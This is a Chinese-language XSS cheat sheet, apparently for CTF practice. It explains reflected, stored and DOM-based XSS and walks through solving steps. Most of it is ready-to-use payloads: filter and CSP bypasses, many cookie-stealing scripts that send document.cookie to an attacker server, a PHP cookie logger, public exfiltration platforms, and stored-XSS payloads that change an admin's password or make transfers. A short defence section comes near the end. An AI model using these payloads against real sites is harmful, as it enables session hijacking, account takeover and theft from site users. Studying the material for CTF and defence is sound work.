1. XSS 基础概念
XSS(Cross-Site Scripting,跨站脚本攻击):
攻击者在网页中注入恶意脚本代码,当其他用户浏览页面时,脚本在用户浏览器中执行,
造成窃取 Cookie、劫持会话、篡改页面、钓鱼攻击等危害。
常见测试方法:alert() 弹窗验证漏洞存在。
核心三要素:
* 有输入点 —— 用户输入能被传到页面
* 未正确转义/过滤 —— 服务端或客户端没有对 < > " ' & 做 HTML 实体编码
* 输出点在 HTML 上下文中 —— 输入最终出现在 HTML、属性或 JavaScript 中
2. 三种 XSS 类型及判断方法
2.1 反射型 XSS(Reflected XSS / 非持久型)
· – 数据流:用户发送请求(URL参数/表单)→ 服务端 → 直接拼进响应HTML
· – 特点:一次性、不存数据库、URL中可见payload
· – 例:https://example.com/search?q=<script>alert(1)</script>
· – 判断:输入出现在请求中,响应里原样返回,不持久化
2.2 存储型 XSS(Stored XSS / 持久型)
· – 数据流:用户提交数据 → 存数据库 → 其他用户访问页面 → 从数据库取出渲染
· – 特点:持久化、危害最大、影响所有访问该页面的用户
· – 例:评论区提交 <script>alert(1)</script>,每次有人看都触发
· – 判断:输入被存到后端,之后每次访问都执行
2.3 DOM 型 XSS(DOM-based XSS)
· – 数据流:用户 → URL片段/hash/前端数据源 → 前端JS用 innerHTML/document.write 操作DOM
· – 特点:服务端完全不参与,纯客户端问题
· – 例:https://example.com/#<img src=x onerror=alert(1)>
前端代码用 location.hash 拼到 innerHTML
· – 判断:响应HTML里没有payload,但页面弹窗了 → DOM型
2.4 快速区分表
|
类型 |
数据持久化 |
服务端参与 |
Payload在响应中 |
|
反射型 |
否 |
是(拼HTML) |
是 |
|
存储型 |
是(数据库) |
是 |
是 |
|
DOM型 |
否 |
否(纯前端) |
否 |
最快判断方法:看响应HTML源码。
* Payload 在响应HTML里 → 反射型或存储型(再看是否存库)
* Payload 不在响应HTML里但页面弹窗了 → DOM型
3. XSS 攻击链 & 通用解题步骤
3.1 通用解题流程
步骤 1:找输入点
· – URL参数(?q=、?name=、?msg=、?callback= 等)
· – 表单输入框(留言、评论、搜索、登录框)
· – 请求头(User-Agent、Referer、Cookie 等)
· – 路径参数
步骤 2:测试输出点(看输入在哪渲染)
· – 打开浏览器开发者工具 → 查看网页源代码(F12)
· – 看输入出现在哪个位置:
A. 标签属性内(value="…") → 需闭合属性
B. 标签间(<div>…</div>) → 可直接注入标签
C. JavaScript代码中(<script>var x="…"</script>) → 需闭合JS语句
· – 关键测试:< > " ' 是否被过滤/转义
步骤 3:根据输出点构造 Payload
A. 在属性值内(value="…"):
· – 先闭合 " 和 >:"><img src=x onerror=alert(1)>
· – 或保留标签只闭合属性:" onfocus=alert(1) autofocus>
B. 在标签间(<div>…</div>):
· – 直接注入标签:<script>alert(1)</script>
· – 或用事件标签:<img src=x onerror=alert(1)>
C. 在JS代码中(闭合引号和语句):
· – '-alert(document.domain)-'
· – ';alert(document.domain)//
· – ";-alert(1)//
步骤 4:绕过过滤(如有)
· – 标签黑名单 → 换标签(<img>/<svg>/<body>/<input>/<details>/<iframe>)
· – script 被禁 → 用事件处理器(onerror/onload/onfocus/ontoggle)
· – 空格被禁 → 用 /**/ 或 %09 / %0a / %0c 绕过
· – 引号被禁 → 用反引号 ` 或编码绕过
· – 关键字被禁 → 大小写绕过、双写绕过、编码绕过
步骤 5:验证漏洞
· – alert(1) 弹窗 → 漏洞存在
· – 对于需要偷 Cookie 的题:用外带平台接收 Cookie
步骤 6:利用漏洞(获取 flag)
· – 弹窗直接显示 flag
· – 页面内容显示 flag
· – 偷取 admin Cookie 获得 flag
· – 修改管理员密码登录获取 flag
· – 转账 / 购买物品获取 flag
4. 常见场景攻击链
场景 A:输入在 <input value="[HERE]">
Payload: "><img src=x onerror=alert(1)>
原理:闭合value=" → " 闭合属性
闭合input标签 → > 闭合标签
注入新标签 → <img> 独立存在 → onerror 执行
场景 B:输入在 <div>[HERE]</div>
Payload: <script>alert(1)</script> 或 <img src=x onerror=alert(1)>
场景 C:有 admin 机器人轮询(需偷 Cookie)
Payload1: <script>location.href="http://YOUR_SERVER/?cookie="+document.cookie</script>
Payload2: <script>new Image().src="http://YOUR_SERVER/?c="+document.cookie</script>
场景 D:JSONP 接口(?callback=xxx)
Payload: ?callback=alert&user=<script>alert(1)</script>
原理:callback 不过滤 → 服务端返回 alert({…}) → alert() 被覆写 →
检测到 XSS payload 后返回 flag
场景 E:登录框反射(value属性中)
Payload: "><script>alert(document.cookie)</script>
或: "><img src=x onerror=alert(document.cookie)>
场景 F:请求头注入(User-Agent / Referer / Cookie)
Payload: " type="text" onmousemove="alert(1)
原理:修改请求头中对应字段,闭合原有属性,添加事件属性
5. 常用 Payload 速查表
5.1 基本检测 Payload(通用)
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<iframe onload=alert(1)></iframe>
5.2 闭合属性 Payload(输入在 value="…" / 属性值内)
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>
" onfocus=alert(1) autofocus>
"><svg onload=alert(1)>
"><body onload=alert(1)>
"><input onfocus=alert(1) autofocus>
" onclick="alert(1)
5.3 Cookie 窃取 Payload
方式 1:location.href 跳转
<script>location.href="http://YOUR_SERVER/?cookie="+document.cookie</script>
方式 2:new Image() — 更隐蔽
<script>new Image().src="http://YOUR_SERVER/?c="+document.cookie</script>
方式 3:fetch 定时发送
<img src=x onerror="setInterval(() => {
fetch('http://YOUR_SERVER:8088?cookie='+document.cookie)
}, 6000);">
方式 4:Image() + base64编码
<script>var i=new Image();
i.src="http://YOUR_SERVER:8088?cookie="+btoa(document.cookie);</script>
方式 5:利用 onfocus + autofocus(script被禁时)
<input onfocus="window.open('http://YOUR_SERVER/?cookie='+document.cookie)" autofocus>
方式 6:svg onload
<svg onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)">
方式 7:iframe onload
<iframe onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)"></iframe>
方式 8:body onload
<body onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)">
5.4 闭合 JS 上下文 Payload
'-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
';alert(1)//
";-alert(1)//
5.5 绕过空格过滤(用 /**/)
<input/**/onfocus="window.open('http://YOUR_SERVER/?cookie='+document.cookie)"/**/autofocus>
<img/**/src=x/**/onerror=alert(1)>
<svg/**/onload=alert(1)>
5.6 XSS 平台用 Payload
<script src="https://xss.pt/xxx"></script>
<script src="https://xsshs.cn/xxx"></script>
5.7 URL编码版 Payload(用于GET参数)
%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
%3Cscript%3Ealert(1)%3C%2Fscript%3E
6. 标签 & 事件处理器速查
6.1 可自动触发的标签(无需用户交互)
|
标签 |
payload |
|
<script> |
<script>alert(1)</script> |
|
<img> |
<img src=x onerror=alert(1)> |
|
<svg> |
<svg onload=alert(1)> |
|
<body> |
<body onload=alert(1)> |
|
<input> |
<input onfocus=alert(1) autofocus> |
|
<details> |
<details open ontoggle=alert(1)> |
|
<iframe> |
<iframe onload=alert(1)></iframe> |
|
<select> |
<select onfocus=alert(1) autofocus></select> |
|
<textarea> |
<textarea onfocus=alert(1) autofocus> |
|
<video> |
<video><source onerror=alert(1)> |
|
<audio> |
<audio src=x onerror=alert(1)> |
|
<marquee> |
<marquee onstart=alert(1)></marquee> |
|
<keygen> |
<keygen autofocus onfocus=alert(1)> (火狐) |
6.2 常用事件处理器
onerror — 资源加载失败时触发(最常用)
onload — 元素加载完成时触发
onfocus — 元素获得焦点时触发(配合 autofocus 自动触发)
onblur — 元素失去焦点时触发
onmouseover — 鼠标悬停时触发(需用户交互)
onclick — 点击时触发(需用户交互)
ontoggle — details 打开/关闭时触发
onscroll — 滚动时触发
onbegin — SVG动画开始时触发
onresize — 窗口大小改变时触发
oninput — 输入时触发
onchange — 值改变时触发
onanimationend — CSS 动画结束时触发
onanimationstart — CSS 动画开始时触发
7. 绕过技术大全
7.1 标签黑名单绕过
<script> 被禁 → 改用事件处理器标签
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<iframe onload=alert(1)></iframe>
7.2 空格过滤绕过
空格被过滤 → 用以下替代:
/**/ — <input/**/onfocus="…" autofocus>
%09 — 制表符(具体看服务端解码)
%0a — 换行符
%0c — 换页符
%0d — 回车符
7.3 引号过滤绕过
' 或 " 被过滤 → 用反引号 `(ES6 模板字符串)
<img src=x onerror=alert(`1`)>
<input onfocus=window.open(`http://SERVER/?c=`+document.cookie) autofocus>
或用无引号事件写法:
<img src=x onerror=alert(1)>
7.4 script 关键字过滤绕过
大小写混写: <ScRiPt>alert(1)</ScRiPt>
双写绕过: <scscriptript>alert(1)</scscriptript>
HTML实体: <script>alert(1)</script>
Unicode: \\u0061\\u006C\\u0065\\u0072\\u0074(1)
7.5 属性值闭合绕过(针对 preg_replace 过滤)
服务端只过滤了 <script>(如 preg_replace('/<script>/i', '', $comment))
→ 直接不用 script 标签即可
"><img src=x onerror=alert(1)>
" onfocus=alert(1) autofocus>
7.6 闭合反斜杠转义绕过
服务端用反斜杠转义引号(\\' 或 \\")
→ 添加一个反斜杠闭合转义
输入: \\ → 后端: \\\\(转义了反斜杠,本身被转义掉)
输入: \\' → 后端: \\\\'(反斜杠转义了反斜杠,引号逃脱)
→ 或直接用不包含引号的 payload
7.7 JavaScript 伪协议绕过(script/onerror被禁时)
<a href="javascript:alert(1)">Click</a>
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(document.cookie)">Click</a>
7.8 SVG 标签高级绕过
<!– 当事件处理器被禁时的 SVG 绕过 –>
<svg>
<a>
<animate attributeName=href values=javascript:alert(1) />
<text x=20 y=20>Click me</text>
</a>
</svg>
<!– SVG 动画事件 –>
<svg><animatetransform onbegin=alert(1)>
7.9 CSP 绕过
<!– 悬空标记攻击(Dangling Markup) –>
<img src="http://attacker.com/steal?data=
<!– 利用 script-src-elem 覆盖 CSP –>
?token=;script-src-elem 'unsafe-inline'
<!– JSONP 绕过 CSP –>
<script src="?callback=alert(1)"></script>
7.10 jQuery DOM XSS
$("div").html(userInput) → Payload: <img src=1 onerror=alert(1)>
7.11 AngularJS 绕过(ng-app 作用域内)
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
7.12 反引号模板字符串绕过
${alert(document.cookie)}
7.13 HTML实体编码绕过(用于 href 属性)
javascript:alert(1)
解码后为:javascript:alert(1)
7.14 无括号 XSS(throw + onerror)
<script>throw onerror=alert,document.cookie</script>
原理:onerror=alert 将全局错误处理指向 alert
throw document.cookie 抛出异常触发 onerror → alert(document.cookie)
8. Cookie 窃取方案
8.1 方案对比
|
方案 |
隐蔽性 |
服务器需求 |
适用场景 |
|
location.href |
低 |
有 |
script 可用时 |
|
new Image() |
高 |
有 |
最推荐,隐蔽 |
|
fetch/XMLHttpReq |
中 |
有 |
需 CORS 支持 |
|
XSS 平台 |
高 |
无 |
无服务器时 |
|
Webhook/ReqBin |
中 |
无 |
临时测试 |
|
Burp Collaborator |
中 |
无 |
有 BP 时 |
|
oastify.com |
中 |
无 |
公开外带平台 |
8.2 自建服务器接收 Cookie
服务器端 PHP 接收脚本(x.php):
<?php
$cookie = $_GET['cookie'] ?? $_GET['c'] ?? '';
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\\n");
fclose($log);
?>
8.3 XSS 平台
xss.pt — https://xss.pt
xsshs.cn — https://xsshs.cn
用法:注册项目 → 生成 XSS 代码 → 嵌入 payload → 等回调
8.4 Webhook / 请求接收平台
RequestBin — https://pipedream.com/requestbin
webhook.site — https://webhook.site
oastify.com — Burp Suite Collaborator 的公开替代
Interactsh — https://app.interactsh.com
8.5 内网环境实战(admin 机器人访问)
当页面有 admin 机器人每隔一定时间访问页面时:
Step 1: 提交含 Cookie 窃取 payload 的留言/评论
Step 2: 等待 admin 机器人访问页面
Step 3: admin 的 Cookie 被发送到你的服务器
Step 4: 用窃取的 Cookie 替换自己的 Cookie → 获取 flag
注意:必须用公网可达地址,不能用 127.0.0.1 或 localhost
9. 反射型 XSS 实战案例
9.1 基础反射型 —— 输入直接拼到页面
题目:搜索框、URL参数反射
现象:输入 <script>alert(1)</script> 直接弹窗
Payload: <script>alert(1)</script>
flag:弹窗直接显示 / 页面显示
9.2 登录框反射型 —— 输入在 value 属性中
题目:账号密码输入框,输入显示在 value="…" 中
现象:需要闭合属性值
Payload: "><script>alert(document.cookie)</script>
或: "><img src=x onerror=alert(document.cookie)>
9.3 有 admin 机器人的反射型
题目:输入框提交后,admin 机器人会访问该页面
现象:普通用户访问只有 "你不是管理员",需要偷 admin 的 Cookie
Payload:
<script>location.href="http://YOUR_SERVER/?cookie="+document.cookie</script>
或
<script>new Image().src="http://YOUR_SERVER/?c="+document.cookie</script>
注意:必须用公网可达地址
9.4 script 被禁的反射型
现象:<script> 标签被过滤
绕过:用 input + onfocus + autofocus(或其他事件标签)
Payload:
<input onfocus="window.open('http://YOUR_SERVER/?cookie='+document.cookie)" autofocus>
其他备选:
<svg onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)">
<iframe onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)"></iframe>
<body onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)">
9.5 空格被过滤的反射型
现象:空格被过滤
绕过:用 /**/ 替代空格
Payload:
<input/**/onfocus="window.open('http://YOUR_SERVER/?cookie='+document.cookie)"/**/autofocus>
或:
<img/**/src=x/**/onerror=alert(1)>
9.6 请求头注入(Referer / User-Agent / Cookie)
现象:Referer / User-Agent / Cookie 被反射到页面
修改方法:F12 开发者工具 → 抓包修改请求头
Payload: " type="text" onmousemove="alert(1)
10. 存储型 XSS 实战案例
10.1 基础存储型 —— 留言板 XSS
题目:留言板,提交的留言每次访问都执行
现象:所有访问该页面的用户都会触发 XSS
Payload: 与反射型相同,但需要持久化存储
利用:
→ 窃取 admin Cookie
→ 修改管理员密码
→ 转账 / 购买物品
10.2 存储型 —— 修改管理员密码
场景:有修改密码接口 /api/change.php
GET 版本:
Payload(注册用户名):
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
步骤:注册 Payload 作为用户名 → 登录 → admin 访问时触发 → 密码被改为 123
POST 版本:
Payload:
<script>$.ajax({url:'http://127.0.0.1/api/change.php',
type:'post', data:{p:'123'}});</script>
步骤同上
10.3 存储型 —— 转账
场景:有转账 / 购买 flag 功能
Payload:
<script>$.ajax({url:'/api/amount.php', type:'post',
data:{u:'目标用户', a:10000}});</script>
步骤:注册普通账户 + 注册 Payload 账户 → 登录 Payload 账户 →
admin 访问时触发转账 → 购买 flag
10.4 存储型 —— 直接捞取页面内容
场景:页面内容(用户管理页)包含 flag,需要直接拿出
Payload(使用 jQuery):
<script>
$('.layui-table-cell').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow') > -1){
window.open("http://YOUR_SERVER/"+value.innerHTML);
}
});
</script>
原理:当管理员访问用户管理页面时,XSS 将表格中含 ctfshow 的单元格内容
发送到攻击者服务器
11. JSONP XSS 实战案例
11.1 JSONP 原理
JSONP(JSON with Padding):
利用 <script> 标签可以跨域加载资源的特性,远程获取并执行服务器返回的数据。
正常流程:
前端请求: <script src="https://b.com/getUsers.json?callback=myCallback"></script>
服务端返回: myCallback({"code": 0, "users": ["alice", "bob"]});
11.2 JSONP XSS 攻击链
攻击点:callback 参数直接被包裹在 JSON 外层,无任何过滤
步骤 1:发现 /api/jsonp-vuln?callback=xxx&user=test
返回: xxx({"code":200, "data":{"username":"test", …}})
步骤 2:将 callback 设为 alert
/api/jsonp-vuln?callback=alert&user=<script>alert(1)</script>
返回: alert({"code":200, "data":{"username":"<script>alert(1)</script>", …}})
触发 alert() 函数
步骤 3:页面内 alert() 被覆写(检测到 XSS payload 后返回 flag)
最终 Payload:
callback = alert
user = <script>alert(1)</script>
触发条件:/xss-vuln?name=<script>alert(1)</script> 返回 flag
12. XSS 防御措施
12.1 输出编码
* HTML 实体编码:< → < > → > " → " ' → ' & → &
* 不要直接把后端数据作为 HTML 渲染
12.2 CSP(Content Security Policy)
通过 HTTP 头或 meta 标签设置:
Content-Security-Policy:
script-src 'self'; /* 只允许同源脚本 */
img-src 'self'; /* 只允许同源图片 */
connect-src 'self'; /* 只允许同源请求 */
style-src 'self' 'unsafe-inline';
CSP 的作用:
* 禁止加载外域代码,防止复杂攻击逻辑
* 禁止内联脚本执行
* 禁止外域提交,用户数据不泄露到外域
* 合理使用上报,及时发现 XSS
12.3 其他安全措施
* HTTP-only Cookie: 禁止 JavaScript 读取敏感 Cookie
* 输入验证(白名单优先):只允许预期的字符/格式
* 验证码:防止脚本冒充用户提交危险操作
* 使用安全的框架 API(React/Vue 自动转义),避免 innerHTML/document.write
13. 常用外带平台 & 工具
13.1 外带接收平台
Burp Collaborator — Burp Suite 内置
oastify.com / oast.pro — 公开 DNS/HTTP 外带测试平台
RequestBin / Pipedream — https://pipedream.com/requestbin
webhook.site — https://webhook.site
Interactsh — https://app.interactsh.com
13.2 XSS 平台
xss.pt — https://xss.pt
xsshs.cn — https://xsshs.cn
13.3 浏览器开发者工具(F12)
Elements(元素) — 查看页面 HTML 结构,找输出点
Network(网络) — 查看请求/响应
Console(控制台) — 测试 JS 代码
13.4 其他工具
Burp Suite — 抓包、重放、Collaborator
HackBar — Firefox/Chrome 插件,快速构造 payload
XSStrike — 自动化 XSS 检测工具
BeEF — 浏览器利用框架(Browser Exploitation Framework)
14. XSS 练习平台题解速查
CTFshow 系列:
· │ 题目 │ 类型 zz│ Payload/解法
· │ web316 │ 反射+XSS │ <script>location.href='SERVER?c='+doc.cookie
· │ web317 │ 反射+XSS │ script被禁→ <input onfocus=… autofocus>
· │ web318 │ 反射+XSS │ 同上
· │ web319 │ 反射+XSS │ 同上
· │ web320-6 │ 反射+XSS │ 空格被禁→用/**/ 替代空格
· │ web327 │ 存储+XSS │ <input onfocus=… autofocus>(存在留言板)
· │ web328 │ 存储+XSS │ 偷取 admin Cookie → 伪造登录
· │ web329 │ 存储+XSS │ jQuery 捞取页面内容(.layui-table-cell)
· │ web330 │ 存储+XSS │ GET 改密码:<script>location.href='…'</>
· │ web331 │ 存储+XSS │ POST 改密码:$.ajax({type:'post',…})
· │ web332 │ 存储+XSS │ 转账:$.ajax({url:'/api/amount.php',…})
· │ web333 │ 存储+XSS │ 同 web332
XSS-lab 系列关键解法:
|
题目 |
类型 |
Payload/解法 |
|
pass-1 |
反射型 |
直接 <script>alert(1)</script> |
|
pass-2 |
value属性中,"> <img src=x onerror=alert(1)> 闭合绕过 |
|
|
pass-3 |
<>被转义 |
用 'onmouseup=alert(123)// 事件属性绕过 |
|
pass-4 |
<>被过滤 |
" onfocus=alert(1) autofocus> |
|
pass-5 |
cript/onerror被过滤 |
javascript伪协议: "><iframe src="javascript:alert(1)"></iframe> "><a href="javascript:alert(1)"> |
|
pass-6 |
大小写绕过 |
"><a hrEf="javascript:alert(1)"> |
|
pass-7 |
双写绕过 |
"><scscriptript>alert(1)</sscriptcript> |
|
pass-8 |
HTML实体编码 |
j…(href属性中的javascript:编码) |
|
pass-9 |
需要 http:// + 双写 + 注释 |
javascrscriptipt:alert(1)//http:// |
|
pass-10 |
hidden属性 |
onclick 事件 |
|
pass-11 |
Referer 注入 |
修改 Referer 头为 " type="text" onmousemove=alert(1) |
|
pass-12 |
User-Agent 注入 |
修改 UA 为 " type="text" onmousemove=alert(1) |
|
pass-13 |
Cookie 注入 |
修改 Cookie 为 " type="text" onmousemove=alert(1) |
|
pass-15 |
AngularJS ng-include 文件包含注入 |
'level1.php?name=<img src=1 onerror=alert(1)>' |
|
pass-16 |
空格过滤 |
用 %0a / %0c / %0d 绕过:<img%0asrc=1%0aonerror=alert(1) |
|
pass-17 |
embed 标签拼接绕过 |
arg02=b onmousemove='alert(1)' |
|
pass-18 |
embed 标签拼接绕过 |
arg02=b onmousemove='alert(1)' |
15. 高级绕过技巧汇总
15.1 字符串碎裂化绕过
<img src="1" onerror="a='aler';b='t';c='(document.cookie)';eval(a+b+c)">
<img src="1" onerror="a='aler';b='t';window[a+b](document.cookie)">
15.2 括号表示法 + 字符串拼接
javascript:window['al'+'ert'](document.cookie)
15.3 CSS 动画事件绕过(黑名单绕过)
<style>@keyframes x{}</style>
<xss style="animation-name:x" onanimationend="alert(document.cookie)"></xss>
15.4 RCDATA 元素逃逸绕过
<textarea><img title="</textarea>
<img src onerror=alert(documet.cookie)>">
15.5 JavaScript Hoisting 绕过
"; eval(myUndefVar); var myUndefVar; alert(document.cookie); //
15.6 无括号 XSS(onerror + throw)
<script>throw onerror=alert,document.cookie</script>
<script>{onerror=alert}throw 1337</script>
15.7 Symbol.hasInstance + 十六进制绕过
<script>'alert\\x28document.cookie\\x29'instanceof
{[Symbol['has'+'Instance']]:eval}</script>
15.8 Bootstrap 组件 XSS
<xss class=progress-bar-animated onanimationstart=alert(1)>
15.9 AngularJS 无字符串逃逸链
?search=1&toString().constructor.prototype.charAt=[].join;
[1]|orderBy:toString().constructor.fromCharCode(
120,61,97,108,101,114,116,40,49,41
)=1
15.10 URL 双重解码绕过
后端 urlencode → 前端两次 decodeURIComponent
Payload: %22);alert(document.cookie);//
16. 实战场景汇总
16.1 博客评论区 XSS
漏洞:website 字段经过 htmlspecialchars 转义后放入 href
利用:直接在 Website 字段输入 javascript:alert(1)
当其他用户点击评论者名字时执行
16.2 选择功能 XSS
漏洞:document.write 直接拼接 URL 参数
利用:?storeId=<img src=x onerror=alert(document.cookie)>
16.3 返回链接 XSS
漏洞:jQuery attr() 设置 href,未校验协议
利用:?returnPath=javascript:alert(document.cookie)
16.4 Hash DOM XSS
漏洞:读取 location.hash 写入 innerHTML
利用:#<img src=x onerror=alert(document.cookie)>
16.5 JSON XSS(反斜杠转义绕过)
漏洞:转义 " 但未转义 \\
利用:\\"-alert(document.cookie)})
16.6 HTML 文件上传 XSS
漏洞:允许上传 .html 文件
利用:上传含 <script>alert(1)</script> 的 HTML 文件
16.7 PDF 文件上传 XSS
漏洞:仅验证后缀,未校验内容
利用:上传 HTML/PDF polyglot 文件
16.8 在线客服聊天 XSS
漏洞:未转义客服端消息
利用:<a href="javascript:alert(document.cookie)">点击这里</a>
16.9 配合 CSRF 获取敏感信息
利用:<script>fetch('http://attacker.com', {
method:'POST', mode:'no-cors', body:document.cookie
});</script>
17.XSS 解题万能速查流程图
① 找输入点
├─ URL参数(?q=, ?name=, ?msg=, ?callback=)
├─ 表单输入框(留言、评论、搜索、登录)
├─ 请求头(User-Agent, Referer, Cookie)
└─ 路径参数 / Hash
② 找输出点(F12查看源码)
├─ 在 value="…" 属性内 → 需闭合属性
· │ Payload: "><img src=x onerror=alert(1)>
· │ " onfocus=alert(1) autofocus>
├─ 在 <div>…</div> 标签间
· │ Payload: <script>alert(1)</script>
· │ <img src=x onerror=alert(1)>
└─ 在 JS 代码中(var x="…")
Payload: '-alert(1)-'
';alert(1)//
③ 测试过滤(输入测试字符 < > " ' &)
├─ 完全不过滤 → 直接使用基本 Payload
├─ <script>被禁 → 换事件标签(img/svg/body/input/iframe)
├─ 空格被禁 → 用 /**/ 或 %09 %0a %0c %0d
├─ 引号被禁 → 用反引号 ` 或事件无引号写法
├─ 关键字被禁 → 大小写/双写/编码绕过
└─ 全都被转义 → 检查是否在 href 属性中 → 用 javascript: 伪协议 + HTML实体编码
④ 利用漏洞
├─ 弹窗获得 flag
├─ 页面显示 flag
├─ 偷 Cookie(有 admin 机器人时)
· │ └─ <script>new Image().src="http://SERVER/?c="+document.cookie</script>
├─ 改密码登录
· │ └─ <script>location.href='/api/change.php?p=123'</script>
└─ 转账购买
└─ <script>$.ajax({url:'/api/amount.php', type:'post', data:{u:'me',a:9999}})</script>
END

